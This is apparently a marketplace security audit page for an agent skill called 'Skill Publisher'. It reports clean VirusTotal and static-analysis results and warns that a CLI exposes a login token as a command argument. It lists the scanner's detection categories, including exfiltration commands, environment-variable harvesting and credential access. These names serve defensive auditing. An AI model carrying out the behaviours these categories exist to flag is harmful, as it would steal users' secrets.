Security audit
Skill Publisher 技能发布
Security checks across malware telemetry and agentic risk
Overview
This skill performs high-impact publishing actions, but its access and side effects are clearly disclosed, user-directed, and aligned with its publishing purpose.
Install only if you intend to let the agent publish skills publicly and use GitHub, ClawHub, and SkillHub credentials. Review the target skill and version before confirming, run SkillHub login only on a controlled machine because its CLI exposes the token as a command argument, and use the documented dry-run/backup guidance before local TRAE installation sync.
SkillSpector
By NVIDIA
Vulnerability Patterns
- Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
- Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
VirusTotal
64/64 vendors flagged this skill as clean.
Static analysis
No suspicious patterns detected.